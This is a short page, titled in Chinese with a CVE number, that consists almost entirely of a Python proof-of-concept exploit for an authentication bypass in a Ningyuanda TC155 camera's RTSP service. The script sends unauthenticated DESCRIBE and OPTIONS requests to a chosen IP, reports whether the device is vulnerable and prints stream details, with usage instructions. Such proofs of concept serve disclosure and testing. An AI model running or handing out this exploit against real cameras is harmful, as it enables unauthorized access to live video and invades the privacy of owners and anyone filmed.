CVE-2025-14746: 宁远达TC155摄像头RTSP视频流未授权访问漏洞

#!/usr/bin/env python3 # CVE-2025-14746 PoC - Ningyuanda TC155 RTSP Authentication Bypass # Affected Product: Ningyuanda TC155 (firmware < 57.0.2.0) # Attack Vector: Adjacent Network (AV:A) # Authentication Required: None (PR:N) import socket import sys def send_rtsp_request(host, port, request): """ Send RTSP request and receive response """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) # Send RTSP request sock.send(request.encode('utf-8')) # Receive response response = b'' while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk # Check if response is complete if b'\r\n\r\n' in response: break except socket.timeout: break sock.close() return response.decode('utf-8', errors='ignore') except Exception as e: return f"Error: {str(e)}" def exploit_rtsp_bypass(target_ip, rtsp_port=554): """ Exploit CVE-2025-14746: RTSP Authentication Bypass This PoC demonstrates unauthorized access to RTSP video stream """ print(f"[*] Target: {target_ip}:{rtsp_port}") print(f"[*] Testing CVE-2025-14746: RTSP Authentication Bypass") # Method 1: DESCRIBE request without authentication describe_request = ( f"DESCRIBE rtsp://{target_ip}/stream1 RTSP/1.0\r\n" f"CSeq: 1\r\n" f"Accept: application/sdp\r\n" f"\r\n" ) print("\n[1] Sending DESCRIBE request without authentication...") response = send_rtsp_request(target_ip, rtsp_port, describe_request) if '200 OK' in response and 'DESCRIBE' in response: print("[+] VULNERABLE: DESCRIBE request succeeded without authentication") print("\n[+] RTSP Response:") print(response[:1000] if len(response) > 1000 else response) # Extract SDP information if 'v=' in response: print("\n[+] Video stream information obtained:") print(" The attacker can now access live video feed without credentials") else: print("[-] DESCRIBE request failed or requires authentication") # Method 2: OPTIONS request without authentication options_request = ( f"OPTIONS rtsp://{target_ip}/stream1 RTSP/1.0\r\n" f"CSeq: 2\r\n" f"\r\n" ) print("\n[2] Sending OPTIONS request without authentication...") response2 = send_rtsp_request(target_ip, rtsp_port, options_request) if '200 OK' in response2: print("[+] OPTIONS request succeeded") if 'Public:' in response2: print("[+] Available methods:", end=" ") for line in response2.split('\r\n'): if 'Public:' in line: print(line.split('Public:')[1].strip()) return True if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [rtsp_port]") print(f"Example: {sys.argv[0]} 192.168.1.100 554") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 554 exploit_rtsp_bypass(target, port)